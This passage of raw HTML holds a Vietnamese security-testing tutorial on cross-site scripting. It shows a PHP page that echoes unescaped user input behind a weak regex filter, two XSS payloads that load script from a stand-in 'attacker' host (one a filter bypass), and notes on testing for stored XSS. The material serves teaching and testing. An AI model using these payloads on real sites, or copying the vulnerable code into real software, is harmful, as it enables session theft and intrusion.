direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{60}" paraid="979276611" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><?</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{63}" paraid="849471400" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">   $re = "/<script[^>]+src/i";</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{65}" paraid="1651161243" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{68}" paraid="877380259" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">   if (preg_match($re, $_GET['var'])) </span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{71}" paraid="745047739" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">   {</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{74}" paraid="1844684656" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">      echo "Filtered";</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{77}" paraid="1777292107" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">      return; </span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{80}" paraid="146632848" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">   }</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{83}" paraid="1607980443" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">   echo "Welcome ".$_GET['var']." !";</span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{86}" paraid="381537293" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">?></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{88}" paraid="1682742894" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{91}" paraid="253190029" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Đoạn mã trên sẽ lọc đoạn lệnh sau rất tốt:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{94}" paraid="749595290" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US"><script src="http://attacker/xss.js"></script></span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{96}" paraid="120345231" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{99}" paraid="458560754" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Tuy nhiên đó chỉ là cuộc tấn công thông thường. trong trường hợp này có thể sử dụng các thuộc tính nhằm bỏ qua việc kiểm tra:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{102}" paraid="845691646" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: #f9f9f9; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;" xml:lang="EN-US">http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> </span><span class="EOP SCX49007267" style="font-family: "courier new" , monospace; font-size: 10.5pt; line-height: 16px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{109}" paraid="354272453" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div aria-level="1" class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{112}" paraid="2024560124" role="heading" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; font-weight: bold; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN" style="font-family: "times new roman" , serif; font-size: 12pt; line-height: 18px; margin: 0px; padding: 0px;" xml:lang="EN">Testing for Stored Cross site scripting</span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{114}" paraid="1007332356" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; text-align: justify; vertical-align: baseline; word-wrap: break-word;"> <br /></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{117}" paraid="1734462094" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Là loại tấn công XSS nguy hiểm nhất. Xảy ra khi ứng dụng web cho phép người dùng lưu trữ data có khả năng tấn công. </span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; clear: both; cursor: text; direction: ltr; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{121}" paraid="1727870018" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Stored XSS đặc biệt nguy hiể</span><span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">m đối với các user có đặc quyền cao. Khi admin truy cập vào một trang web bị lỗi, khi đó cuộc tấn công sẽ tự động thực thi trên browser của nạn nhân. Nó có thể để lộ các thông tin nhạy cảm như session của admin.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; padding: 0px;"> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{124}" paraid="1536039002" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">How to Test</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{127}" paraid="927259538" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Input Forms</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{130}" paraid="1169160389" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; margin-left: 24px; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Đầu tiên ta cần phải xác định các dữ liệu được nhập vào bởi người dùng được lưu trữ trên ứng dụng rồi được hiển thị lại cho phía người dùng. Một số ví dụ đầu vào:</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <ul class="BulletListStyle1 SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; cursor: text; font-family: verdana; margin: 0px; overflow: visible; padding: 0px;"> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{134}" paraid="76323808" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Thông tin của user: name, avatar, picture, address, etc.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{138}" paraid="841009851" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Thẻ mua sắm(Shopping cart): ứng dụng cho phép lưu trữ các thông tin liên quan đến thẻ mua sắm và sau đó có thể hiển thị lại.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{142}" paraid="560550565" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Quản lí file: ứng dụng cho phép upload file.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{146}" paraid="2133708862" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Cài đặt ứng dụng/sở thích: ứng dụng cho phép người sử dụng cài đặt sở thích.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{150}" paraid="394853989" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Forum/Message board: ứng dụng cho phép trao đổi bài viết giữa người dùng.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{154}" paraid="1776899788" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Blog: nếu cho phép người dùng gửi bình luận.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{508f3ca9-a2fa-49a6-80ca-e55fab55fafe}{158}" paraid="222011811" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Log: nếu cho phép user lưu thông tin vào log.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> </ul> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" 